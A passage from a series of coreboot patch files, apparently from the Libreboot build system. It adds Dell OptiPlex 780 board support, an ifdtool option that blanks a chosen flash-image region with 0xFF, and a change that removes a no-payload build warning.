IT8720F_SHOW_KBCM ++#undef IT8720F_SHOW_GPIO ++#undef IT8720F_SHOW_CIR ++#define SUPERIO_DEV SIO0 ++#define SUPERIO_PNP_BASE 0x2e ++#define IT8720F_SHOW_EC 1 ++#define IT8720F_SHOW_KBCK 1 ++#define IT8720F_SHOW_KBCM 1 ++#define IT8720F_SHOW_GPIO 1 ++#include +diff --git a/src/mainboard/dell/optiplex_780/board_info.txt b/src/mainboard/dell/optiplex_780/board_info.txt +new file mode 100644 +index 0000000000..aaf657b583 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/board_info.txt +@@ -0,0 +1,6 @@ ++Category: desktop ++Board URL: https://www.acer.com/ac/en/GB/content/support-product/1137?b=1 ++ROM package: SOIC-8 ++ROM protocol: SPI ++ROM socketed: n ++Flashrom support: y +diff --git a/src/mainboard/dell/optiplex_780/cmos.default b/src/mainboard/dell/optiplex_780/cmos.default +new file mode 100644 +index 0000000000..23f0e55f3e +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/cmos.default +@@ -0,0 +1,8 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++boot_option=Fallback ++debug_level=Debug ++power_on_after_fail=Disable ++nmi=Enable ++sata_mode=AHCI ++gfx_uma_size=64M +diff --git a/src/mainboard/dell/optiplex_780/cmos.layout b/src/mainboard/dell/optiplex_780/cmos.layout +new file mode 100644 +index 0000000000..9f5012adb4 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/cmos.layout +@@ -0,0 +1,72 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++# ----------------------------------------------------------------- ++entries ++ ++# ----------------------------------------------------------------- ++0 120 r 0 reserved_memory ++ ++# ----------------------------------------------------------------- ++# RTC_BOOT_BYTE (coreboot hardcoded) ++384 1 e 4 boot_option ++388 4 h 0 reboot_counter ++ ++# ----------------------------------------------------------------- ++# coreboot config options: console ++395 4 e 6 debug_level ++ ++# coreboot config options: southbridge ++408 1 e 10 sata_mode ++409 2 e 7 power_on_after_fail ++411 1 e 1 nmi ++ ++# coreboot config options: cpu ++ ++# coreboot config options: northbridge ++432 4 e 11 gfx_uma_size ++ ++# coreboot config options: check sums ++984 16 h 0 check_sum ++ ++# ----------------------------------------------------------------- ++ ++enumerations ++ ++#ID value text ++1 0 Disable ++1 1 Enable ++2 0 Enable ++2 1 Disable ++4 0 Fallback ++4 1 Normal ++6 0 Emergency ++6 1 Alert ++6 2 Critical ++6 3 Error ++6 4 Warning ++6 5 Notice ++6 6 Info ++6 7 Debug ++6 8 Spew ++7 0 Disable ++7 1 Enable ++7 2 Keep ++10 0 AHCI ++10 1 Compatible ++11 1 4M ++11 2 8M ++11 3 16M ++11 4 32M ++11 5 48M ++11 6 64M ++11 7 128M ++11 8 256M ++11 9 96M ++11 10 160M ++11 11 224M ++11 12 352M ++ ++# ----------------------------------------------------------------- ++checksums ++ ++checksum 392 983 984 +diff --git a/src/mainboard/dell/optiplex_780/cstates.c b/src/mainboard/dell/optiplex_780/cstates.c +new file mode 100644 +index 0000000000..4adf0edc63 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/cstates.c +@@ -0,0 +1,8 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++int get_cst_entries(const acpi_cstate_t **entries) ++{ ++ return 0; ++} +diff --git a/src/mainboard/dell/optiplex_780/devicetree.cb b/src/mainboard/dell/optiplex_780/devicetree.cb +new file mode 100644 +index 0000000000..95e3bd517c +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/devicetree.cb +@@ -0,0 +1,63 @@ ++# SPDX-License-Identifier: GPL-2.0-or-later ++ ++chip northbridge/intel/x4x ++ device cpu_cluster 0 on ops x4x_cpu_bus_ops end # APIC cluster ++ device domain 0 on ++ ops x4x_pci_domain_ops # PCI domain ++ subsystemid 0x8086 0x0028 inherit ++ device pci 0.0 on end # Host Bridge ++ device pci 1.0 on end # PCIe x16 2.0 slot ++ device pci 2.0 on end # Integrated graphics controller ++ device pci 2.1 on end # Integrated graphics controller 2 ++ device pci 3.0 off end # ME ++ device pci 3.1 off end # ME ++ chip southbridge/intel/i82801jx # ICH10 ++ register "gpe0_en" = "0x40" ++ ++ # Set AHCI mode. ++ register "sata_port_map" = "0x3f" ++ register "sata_clock_request" = "1" ++ ++ # Enable PCIe ports 0,1 as slots. ++ register "pcie_slot_implemented" = "0x3" ++ ++ device pci 19.0 on end # GBE ++ device pci 1a.0 on end # USB ++ device pci 1a.1 on end # USB ++ device pci 1a.2 on end # USB ++ device pci 1a.7 on end # USB ++ device pci 1b.0 on end # Audio ++ device pci 1c.0 off end # PCIe 1 ++ device pci 1c.1 off end # PCIe 2 ++ device pci 1c.2 off end # PCIe 3 ++ device pci 1c.3 off end # PCIe 4 ++ device pci 1c.4 off end # PCIe 5 ++ device pci 1c.5 off end # PCIe 6 ++ device pci 1d.0 on end # USB ++ device pci 1d.1 on end # USB ++ device pci 1d.2 on end # USB ++ device pci 1d.7 on end # USB ++ device pci 1e.0 on end # PCI bridge ++ device pci 1f.0 on end # LPC bridge ++ device pci 1f.2 on end # SATA (IDE: port 0-3, AHCI/RAID: 0-5) ++ device pci 1f.3 on # SMBus ++ chip drivers/i2c/ck505 # IDT CV194 ++ register "mask" = "{ 0xff, 0xff, 0xff, 0xff, ++ 0xff, 0xff, 0xff, 0xff, ++ 0xff, 0xff, 0xff, 0xff, ++ 0xff, 0xff, 0xff, 0xff, ++ 0xff, 0xff, 0xff }" ++ register "regs" = "{ 0x15, 0x82, 0xff, 0xff, ++ 0xff, 0x00, 0x00, 0x95, ++ 0x00, 0x65, 0x7d, 0x56, ++ 0x13, 0xc0, 0x00, 0x07, ++ 0x01, 0x0a, 0x64 }" ++ device i2c 69 on end ++ end ++ end ++ device pci 1f.4 off end ++ device pci 1f.5 off end # SATA 2 (for port 4-5 in IDE mode) ++ device pci 1f.6 off end # Thermal Subsystem ++ end ++ end ++end +diff --git a/src/mainboard/dell/optiplex_780/dsdt.asl b/src/mainboard/dell/optiplex_780/dsdt.asl +new file mode 100644 +index 0000000000..9ad70469de +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/dsdt.asl +@@ -0,0 +1,26 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++DefinitionBlock( ++ "dsdt.aml", ++ "DSDT", ++ ACPI_DSDT_REV_2, ++ OEM_ID, ++ ACPI_TABLE_CREATOR, ++ 0x20090811 // OEM revision ++) ++{ ++ #include ++ ++ OSYS = 2002 ++ // global NVS and variables ++ #include ++ ++ Device (\_SB.PCI0) ++ { ++ #include ++ #include ++ } ++ ++ #include ++} +diff --git a/src/mainboard/dell/optiplex_780/gma-mainboard.ads b/src/mainboard/dell/optiplex_780/gma-mainboard.ads +new file mode 100644 +index 0000000000..bc81cf4a40 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/gma-mainboard.ads +@@ -0,0 +1,16 @@ ++-- SPDX-License-Identifier: GPL-2.0-or-later ++ ++with HW.GFX.GMA; ++with HW.GFX.GMA.Display_Probing; ++ ++use HW.GFX.GMA; ++use HW.GFX.GMA.Display_Probing; ++ ++private package GMA.Mainboard is ++ ++ ports : constant Port_List := ++ (DP2, ++ Analog, ++ others => Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt b/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..fefda9d6f226b88ab67c5b044de30a707df22fbf +GIT binary patch +literal 1917 +zcmd6nO>7%Q6vzLwGv0Mv$FUpJ*ik4iQd_wnX*X`M0y3~p?8a$~>ZXxZMU`4dc9RGb +zTXq_i1Bwd~aNr{c4i)r(goF^M-nek+sY0sMa}Sk>xFFy_FTEfX^Y+7unt+OgkeJbX +zznS;`v-5V=o{ZwwmnN>gY?}>{`7^JBpP$l`EBIwbi0*k&aU)n@v)E +znI_A1T57efS5MGNN5_ut +zt=x`G)EjR#mlhURC^2!A3p33TcBg4-d8JyTiF&hfk}|a#&Dfe2%~V^}=4!QavNzBh +z0Pae^5`gfb?7Q)c(LsP)8 +zQy)2gwgG1S^>aw&0D}Z+-SCcJJF;s)yXJeQ|4N{SU?$I`#$HZa9dWBuxA$6X;VK;%W?Y>I;0P`|*vwAK$S(VB2JSq6g4n +z>oEf8XCt;_Y-iYBWz#3T9EmJ +z2x?*GPeN%?=Fj3+fv~4%I(nv~XF7VOqi5RsAt%13JtW>q=<<;0IkLPSUGL%_1h)2kjaZzuV;`43yCV;I=#Jcyyw@xKE8GGX39@am|0GKhH` +zawsKv^FvHqm+c8*FfFsu??w)Oed@;Mg~21%rCZ%d{x!>-zmv4AyWL1E +xfz+CGUnQ7Y^TD}&c_cQRYlBC+`?m?k6Nuw??s04gg4@4`<@FO{XEbO( ++ ++void mb_get_spd_map(u8 spd_map[4]) ++{ ++ // BTX form factor ++ spd_map[0] = 0x53; ++ spd_map[1] = 0x52; ++ spd_map[2] = 0x51; ++ spd_map[3] = 0x50; ++} +diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c b/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c +new file mode 100644 +index 0000000000..9993f17c55 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c +@@ -0,0 +1,174 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++static const struct pch_gpio_set1 pch_gpio_set1_mode = { ++ .gpio0 = GPIO_MODE_NATIVE, ++ .gpio1 = GPIO_MODE_NATIVE, ++ .gpio2 = GPIO_MODE_GPIO, ++ .gpio3 = GPIO_MODE_GPIO, ++ .gpio4 = GPIO_MODE_GPIO, ++ .gpio5 = GPIO_MODE_GPIO, ++ .gpio6 = GPIO_MODE_GPIO, ++ .gpio7 = GPIO_MODE_NATIVE, ++ .gpio8 = GPIO_MODE_NATIVE, ++ .gpio9 = GPIO_MODE_GPIO, ++ .gpio10 = GPIO_MODE_GPIO, ++ .gpio11 = GPIO_MODE_NATIVE, ++ .gpio12 = GPIO_MODE_NATIVE, ++ .gpio13 = GPIO_MODE_GPIO, ++ .gpio14 = GPIO_MODE_GPIO, ++ .gpio15 = GPIO_MODE_NATIVE, ++ .gpio16 = GPIO_MODE_GPIO, ++ .gpio17 = GPIO_MODE_NATIVE, ++ .gpio18 = GPIO_MODE_GPIO, ++ .gpio19 = GPIO_MODE_GPIO, ++ .gpio20 = GPIO_MODE_GPIO, ++ .gpio21 = GPIO_MODE_GPIO, ++ .gpio22 = GPIO_MODE_GPIO, ++ .gpio23 = GPIO_MODE_NATIVE, ++ .gpio24 = GPIO_MODE_GPIO, ++ .gpio25 = GPIO_MODE_NATIVE, ++ .gpio26 = GPIO_MODE_NATIVE, ++ .gpio27 = GPIO_MODE_GPIO, ++ .gpio28 = GPIO_MODE_GPIO, ++ .gpio29 = GPIO_MODE_GPIO, ++ .gpio30 = GPIO_MODE_GPIO, ++ .gpio31 = GPIO_MODE_GPIO, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_direction = { ++ .gpio2 = GPIO_DIR_INPUT, ++ .gpio3 = GPIO_DIR_INPUT, ++ .gpio4 = GPIO_DIR_INPUT, ++ .gpio5 = GPIO_DIR_INPUT, ++ .gpio6 = GPIO_DIR_INPUT, ++ .gpio9 = GPIO_DIR_OUTPUT, ++ .gpio10 = GPIO_DIR_INPUT, ++ .gpio13 = GPIO_DIR_INPUT, ++ .gpio14 = GPIO_DIR_INPUT, ++ .gpio16 = GPIO_DIR_INPUT, ++ .gpio18 = GPIO_DIR_OUTPUT, ++ .gpio19 = GPIO_DIR_INPUT, ++ .gpio20 = GPIO_DIR_OUTPUT, ++ .gpio21 = GPIO_DIR_INPUT, ++ .gpio22 = GPIO_DIR_INPUT, ++ .gpio24 = GPIO_DIR_INPUT, ++ .gpio27 = GPIO_DIR_INPUT, ++ .gpio28 = GPIO_DIR_OUTPUT, ++ .gpio29 = GPIO_DIR_INPUT, ++ .gpio30 = GPIO_DIR_INPUT, ++ .gpio31 = GPIO_DIR_INPUT, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_level = { ++ .gpio9 = GPIO_LEVEL_HIGH, ++ .gpio18 = GPIO_LEVEL_HIGH, ++ .gpio20 = GPIO_LEVEL_HIGH, ++ .gpio28 = GPIO_LEVEL_LOW, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_blink = { ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_invert = { ++ .gpio13 = GPIO_INVERT, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_mode = { ++ .gpio32 = GPIO_MODE_GPIO, ++ .gpio33 = GPIO_MODE_GPIO, ++ .gpio34 = GPIO_MODE_GPIO, ++ .gpio35 = GPIO_MODE_GPIO, ++ .gpio36 = GPIO_MODE_GPIO, ++ .gpio37 = GPIO_MODE_GPIO, ++ .gpio38 = GPIO_MODE_GPIO, ++ .gpio39 = GPIO_MODE_GPIO, ++ .gpio40 = GPIO_MODE_NATIVE, ++ .gpio41 = GPIO_MODE_NATIVE, ++ .gpio42 = GPIO_MODE_NATIVE, ++ .gpio43 = GPIO_MODE_NATIVE, ++ .gpio44 = GPIO_MODE_NATIVE, ++ .gpio45 = GPIO_MODE_NATIVE, ++ .gpio46 = GPIO_MODE_NATIVE, ++ .gpio47 = GPIO_MODE_NATIVE, ++ .gpio48 = GPIO_MODE_GPIO, ++ .gpio49 = GPIO_MODE_GPIO, ++ .gpio50 = GPIO_MODE_NATIVE, ++ .gpio51 = GPIO_MODE_NATIVE, ++ .gpio52 = GPIO_MODE_NATIVE, ++ .gpio53 = GPIO_MODE_NATIVE, ++ .gpio54 = GPIO_MODE_GPIO, ++ .gpio55 = GPIO_MODE_NATIVE, ++ .gpio56 = GPIO_MODE_GPIO, ++ .gpio57 = GPIO_MODE_GPIO, ++ .gpio58 = GPIO_MODE_NATIVE, ++ .gpio59 = GPIO_MODE_NATIVE, ++ .gpio60 = GPIO_MODE_GPIO, ++ .gpio61 = GPIO_MODE_NATIVE, ++ .gpio62 = GPIO_MODE_NATIVE, ++ .gpio63 = GPIO_MODE_NATIVE, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_direction = { ++ .gpio32 = GPIO_DIR_INPUT, ++ .gpio33 = GPIO_DIR_INPUT, ++ .gpio34 = GPIO_DIR_INPUT, ++ .gpio35 = GPIO_DIR_OUTPUT, ++ .gpio36 = GPIO_DIR_INPUT, ++ .gpio37 = GPIO_DIR_INPUT, ++ .gpio38 = GPIO_DIR_INPUT, ++ .gpio39 = GPIO_DIR_INPUT, ++ .gpio48 = GPIO_DIR_INPUT, ++ .gpio49 = GPIO_DIR_OUTPUT, ++ .gpio54 = GPIO_DIR_INPUT, ++ .gpio56 = GPIO_DIR_OUTPUT, ++ .gpio57 = GPIO_DIR_INPUT, ++ .gpio60 = GPIO_DIR_OUTPUT, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_level = { ++ .gpio35 = GPIO_LEVEL_LOW, ++ .gpio49 = GPIO_LEVEL_HIGH, ++ .gpio56 = GPIO_LEVEL_HIGH, ++ .gpio60 = GPIO_LEVEL_LOW, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_mode = { ++ .gpio64 = GPIO_MODE_NATIVE, ++ .gpio65 = GPIO_MODE_NATIVE, ++ .gpio66 = GPIO_MODE_NATIVE, ++ .gpio67 = GPIO_MODE_NATIVE, ++ .gpio68 = GPIO_MODE_NATIVE, ++ .gpio69 = GPIO_MODE_NATIVE, ++ .gpio70 = GPIO_MODE_NATIVE, ++ .gpio71 = GPIO_MODE_NATIVE, ++ .gpio72 = GPIO_MODE_GPIO, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_direction = { ++ .gpio72 = GPIO_DIR_INPUT, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_level = { ++}; ++ ++const struct pch_gpio_map mainboard_gpio_map = { ++ .set1 = { ++ .mode = &pch_gpio_set1_mode, ++ .direction = &pch_gpio_set1_direction, ++ .level = &pch_gpio_set1_level, ++ .blink = &pch_gpio_set1_blink, ++ .invert = &pch_gpio_set1_invert, ++ }, ++ .set2 = { ++ .mode = &pch_gpio_set2_mode, ++ .direction = &pch_gpio_set2_direction, ++ .level = &pch_gpio_set2_level, ++ }, ++ .set3 = { ++ .mode = &pch_gpio_set3_mode, ++ .direction = &pch_gpio_set3_direction, ++ .level = &pch_gpio_set3_level, ++ }, ++}; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c b/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c +new file mode 100644 +index 0000000000..4158bcf899 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c +@@ -0,0 +1,26 @@ ++/* SPDX-License-Identifier: GPL-2.0-or-later */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ /* coreboot specific header */ ++ 0x11d4194a, /* Analog Devices AD1984A */ ++ 0xbfd40000, /* Subsystem ID */ ++ 10, /* Number of entries */ ++ ++ /* Pin Widget Verb Table */ ++ AZALIA_PIN_CFG(0, 0x11, 0x032140f0), ++ AZALIA_PIN_CFG(0, 0x12, 0x21214010), ++ AZALIA_PIN_CFG(0, 0x13, 0x901701f0), ++ AZALIA_PIN_CFG(0, 0x14, 0x03a190f0), ++ AZALIA_PIN_CFG(0, 0x15, 0xb7a70121), ++ AZALIA_PIN_CFG(0, 0x16, 0x9933012e), ++ AZALIA_PIN_CFG(0, 0x17, 0x97a601f0), ++ AZALIA_PIN_CFG(0, 0x1a, 0x90f301f0), ++ AZALIA_PIN_CFG(0, 0x1b, 0x014510f0), ++ AZALIA_PIN_CFG(0, 0x1c, 0x21a19020), ++}; ++ ++const u32 pc_beep_verbs[0] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb b/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb +new file mode 100644 +index 0000000000..555b1c1f5c +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb +@@ -0,0 +1,10 @@ ++## SPDX-License-Identifier: GPL-2.0-or-later ++ ++chip northbridge/intel/x4x ++ device domain 0 on ++ chip southbridge/intel/i82801jx ++ device pci 1c.0 on end # PCIe 1 ++ device pci 1c.1 on end # PCIe 2 ++ end ++ end ++end +-- +2.39.5 + diff --git a/patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch b/patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch new file mode 100644 index 000000000..d5896fdc6 --- /dev/null +++ b/patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch @@ -0,0 +1,205 @@ +From 27b2f2bc24e5e860b87119c963e534fb0d3e55f2 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Sun, 19 Feb 2023 18:21:43 +0000 +Subject: [PATCH 05/11] util/ifdtool: add --nuke flag (all 0xFF on region) + +When this option is used, the region's contents are overwritten +with all ones (0xFF). + +Example: + +./ifdtool --nuke gbe coreboot.rom +./ifdtool --nuke bios coreboot.com +./ifdtool --nuke me coreboot.com + +Rebased since the last revision update in lbmk. + +Signed-off-by: Leah Rowe +--- + util/ifdtool/ifdtool.c | 114 ++++++++++++++++++++++++++++++----------- + 1 file changed, 83 insertions(+), 31 deletions(-) + +diff --git a/util/ifdtool/ifdtool.c b/util/ifdtool/ifdtool.c +index 94105efe52..0706496af2 100644 +--- a/util/ifdtool/ifdtool.c ++++ b/util/ifdtool/ifdtool.c +@@ -2230,6 +2230,7 @@ static void print_usage(const char *name) + " tgl - Tiger Lake\n" + " wbg - Wellsburg\n" + " -S | --setpchstrap Write a PCH strap\n" ++ " -N | --nuke Overwrite the specified region with 0xFF (all ones)\n" + " -V | --newvalue The new value to write into PCH strap specified by -S\n" + " -v | --version: print the version\n" + " -h | --help: print this help\n\n" +@@ -2238,6 +2239,60 @@ static void print_usage(const char *name) + "\n"); + } + ++static int ++get_region_type_string(const char *region_type_string) ++{ ++ if (!strcasecmp("Descriptor", region_type_string)) ++ return 0; ++ else if (!strcasecmp("BIOS", region_type_string)) ++ return 1; ++ else if (!strcasecmp("ME", region_type_string)) ++ return 2; ++ else if (!strcasecmp("GbE", region_type_string)) ++ return 3; ++ else if (!strcasecmp("Platform Data", region_type_string)) ++ return 4; ++ else if (!strcasecmp("Device Exp1", region_type_string)) ++ return 5; ++ else if (!strcasecmp("Secondary BIOS", region_type_string)) ++ return 6; ++ else if (!strcasecmp("Reserved", region_type_string)) ++ return 7; ++ else if (!strcasecmp("EC", region_type_string)) ++ return 8; ++ else if (!strcasecmp("Device Exp2", region_type_string)) ++ return 9; ++ else if (!strcasecmp("IE", region_type_string)) ++ return 10; ++ else if (!strcasecmp("10GbE_0", region_type_string)) ++ return 11; ++ else if (!strcasecmp("10GbE_1", region_type_string)) ++ return 12; ++ else if (!strcasecmp("PTT", region_type_string)) ++ return 15; ++ return -1; ++} ++ ++static void ++nuke(const char *filename, char *image, int size, int region_type) ++{ ++ int i; ++ struct region region; ++ const struct frba *frba = find_frba(image, size); ++ if (!frba) ++ exit(EXIT_FAILURE); ++ ++ region = get_region(frba, region_type); ++ if (region.size > 0) { ++ for (i = region.base; i <= region.limit; i++) { ++ if ((i + 1) > (size)) ++ break; ++ image[i] = 0xFF; ++ } ++ write_image(filename, image, size); ++ } ++} ++ + int main(int argc, char *argv[]) + { + int opt, option_index = 0; +@@ -2245,6 +2300,7 @@ int main(int argc, char *argv[]) + int mode_em100 = 0, mode_locked = 0, mode_unlocked = 0, mode_validate = 0; + int mode_layout = 0, mode_newlayout = 0, mode_density = 0, mode_setstrap = 0; + int mode_read = 0, mode_altmedisable = 0, altmedisable = 0, mode_fmap_template = 0; ++ int mode_nuke = 0; + int mode_gpr0_disable = 0, mode_gpr0_enable = 0, mode_gpr0_status = 0; + char *region_type_string = NULL, *region_fname = NULL, *layout_fname = NULL; + char *new_filename = NULL; +@@ -2279,6 +2335,7 @@ int main(int argc, char *argv[]) + {"validate", 0, NULL, 't'}, + {"setpchstrap", 1, NULL, 'S'}, + {"newvalue", 1, NULL, 'V'}, ++ {"nuke", 1, NULL, 'N'}, + {0, 0, 0, 0} + }; + +@@ -2328,35 +2385,8 @@ int main(int argc, char *argv[]) + region_fname++; + // Descriptor, BIOS, ME, GbE, Platform + // valid type? +- if (!strcasecmp("Descriptor", region_type_string)) +- region_type = 0; +- else if (!strcasecmp("BIOS", region_type_string)) +- region_type = 1; +- else if (!strcasecmp("ME", region_type_string)) +- region_type = 2; +- else if (!strcasecmp("GbE", region_type_string)) +- region_type = 3; +- else if (!strcasecmp("Platform Data", region_type_string)) +- region_type = 4; +- else if (!strcasecmp("Device Exp1", region_type_string)) +- region_type = 5; +- else if (!strcasecmp("Secondary BIOS", region_type_string)) +- region_type = 6; +- else if (!strcasecmp("Reserved", region_type_string)) +- region_type = 7; +- else if (!strcasecmp("EC", region_type_string)) +- region_type = 8; +- else if (!strcasecmp("Device Exp2", region_type_string)) +- region_type = 9; +- else if (!strcasecmp("IE", region_type_string)) +- region_type = 10; +- else if (!strcasecmp("10GbE_0", region_type_string)) +- region_type = 11; +- else if (!strcasecmp("10GbE_1", region_type_string)) +- region_type = 12; +- else if (!strcasecmp("PTT", region_type_string)) +- region_type = 15; +- if (region_type == -1) { ++ if ((region_type = ++ get_region_type_string(region_type_string)) == -1) { + fprintf(stderr, "No such region type: '%s'\n\n", + region_type_string); + fprintf(stderr, "run '%s -h' for usage\n", argv[0]); +@@ -2533,6 +2563,22 @@ int main(int argc, char *argv[]) + case 't': + mode_validate = 1; + break; ++ case 'N': ++ region_type_string = strdup(optarg); ++ if (!region_type_string) { ++ fprintf(stderr, "No region specified\n"); ++ print_usage(argv[0]); ++ exit(EXIT_FAILURE); ++ } ++ if ((region_type = ++ get_region_type_string(region_type_string)) == -1) { ++ fprintf(stderr, "No such region type: '%s'\n\n", ++ region_type_string); ++ print_usage(argv[0]); ++ exit(EXIT_FAILURE); ++ } ++ mode_nuke = 1; ++ break; + case 'v': + print_version(); + exit(EXIT_SUCCESS); +@@ -2552,7 +2598,8 @@ int main(int argc, char *argv[]) + if ((mode_dump + mode_layout + mode_fmap_template + mode_extract + mode_inject + + mode_setstrap + mode_newlayout + (mode_spifreq | mode_em100 | + mode_unlocked | mode_locked) + mode_altmedisable + mode_validate + +- (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status) > 1) { ++ (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status + ++ mode_nuke) > 1) { + fprintf(stderr, "You may not specify more than one mode.\n\n"); + fprintf(stderr, "run '%s -h' for usage\n", argv[0]); + exit(EXIT_FAILURE); +@@ -2561,7 +2608,8 @@ int main(int argc, char *argv[]) + if ((mode_dump + mode_layout + mode_fmap_template + mode_extract + mode_inject + + mode_setstrap + mode_newlayout + mode_spifreq + mode_em100 + + mode_locked + mode_unlocked + mode_density + mode_altmedisable + +- mode_validate + (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status) == 0) { ++ mode_validate + (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status + ++ mode_nuke) == 0) { + fprintf(stderr, "You need to specify a mode.\n\n"); + fprintf(stderr, "run '%s -h' for usage\n", argv[0]); + exit(EXIT_FAILURE); +@@ -2674,6 +2722,10 @@ int main(int argc, char *argv[]) + write_image(new_filename, image, size); + } + ++ if (mode_nuke) { ++ nuke(new_filename, image, size, region_type); ++ } ++ + if (mode_altmedisable) { + struct fpsba *fpsba = find_fpsba(image, size); + struct fmsba *fmsba = find_fmsba(image, size); +-- +2.39.5 + diff --git a/patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch b/patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch new file mode 100644 index 000000000..3ff127244 --- /dev/null +++ b/patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch @@ -0,0 +1,39 @@ +From 8230acfb9e1f692202b306ffb10fe89f783ab4e8 Mon Sep 17 00:00:00 2001 +From: Nicholas Chin +Date: Fri, 12 May 2023 19:55:15 -0600 +Subject: [PATCH 06/11] Remove warning for coreboot images built without a + payload + +I added this in upstream to prevent people from accidentally flashing +roms without a payload resulting in a no boot situation, but in +libreboot lbmk handles the payload and thus this warning always comes +up. This has caused confusion and concern so just patch it out. +--- + payloads/Makefile.mk | 13 +------------ + 1 file changed, 1 insertion(+), 12 deletions(-) + +diff --git a/payloads/Makefile.mk b/payloads/Makefile.mk +index 5f988dac1b..516133880f 100644 +--- a/payloads/Makefile.mk ++++ b/payloads/Makefile.mk +@@ -50,16 +50,5 @@ distclean-payloads: + print-repo-info-payloads: + -$(foreach payload, $(PAYLOADS_LIST), $(MAKE) -C $(payload) print-repo-info 2>/dev/null; ) + +-ifeq ($(CONFIG_PAYLOAD_NONE),y) +-show_notices:: warn_no_payload +-endif +- +-warn_no_payload: +- printf "\n\t** WARNING **\n" +- printf "coreboot has been built without a payload. Writing\n" +- printf "a coreboot image without a payload to your board's\n" +- printf "flash chip will result in a non-booting system. You\n" +- printf "can use cbfstool to add a payload to the image.\n\n" +- + .PHONY: force-payload coreinfo nvramcui +-.PHONY: clean-payloads distclean-payloads print-repo-info-payloads warn_no_payload ++.PHONY: clean-payloads distclean-payloads print-repo-info-payloads +-- +2.39.5 + diff --git a/patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch b/patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch new file mode 100644 index 000000000..637b72664 --- /dev/null +++ b/patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch @@ -0,0 +1,326 @@ +From 41b93b8786ba14830648cd166f86b6317d655359 Mon Sep 17 00:00:00 2001 +From: Nicholas Chin +Date: Wed, 30 Oct 2024 20:55:25 -0600 +Subject: [PATCH 07/11] mb/dell/optiplex_780: Add USFF variant + +Change-Id: I3aa21c743749f4a11a2501f4c121316bd2f1a103 +Signed-off-by: Nicholas Chin +--- + src/mainboard/dell/optiplex_780/Kconfig | 5 + + src/mainboard/dell/optiplex_780/Kconfig.name | 3 + + .../optiplex_780/variants/780_usff/data.vbt | Bin 0 -> 1917 bytes + .../variants/780_usff/early_init.c | 9 + + .../optiplex_780/variants/780_usff/gpio.c | 166 ++++++++++++++++++ + .../optiplex_780/variants/780_usff/hda_verb.c | 26 +++ + .../variants/780_usff/overridetree.cb | 10 ++ + 7 files changed, 219 insertions(+) + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/early_init.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb + +diff --git a/src/mainboard/dell/optiplex_780/Kconfig b/src/mainboard/dell/optiplex_780/Kconfig +index 2d06c75c9a..fc649e35d5 100644 +--- a/src/mainboard/dell/optiplex_780/Kconfig ++++ b/src/mainboard/dell/optiplex_780/Kconfig +@@ -20,6 +20,9 @@ config BOARD_DELL_OPTIPLEX_780_COMMON + config BOARD_DELL_OPTIPLEX_780_MT + select BOARD_DELL_OPTIPLEX_780_COMMON + ++config BOARD_DELL_OPTIPLEX_780_USFF ++ select BOARD_DELL_OPTIPLEX_780_COMMON ++ + if 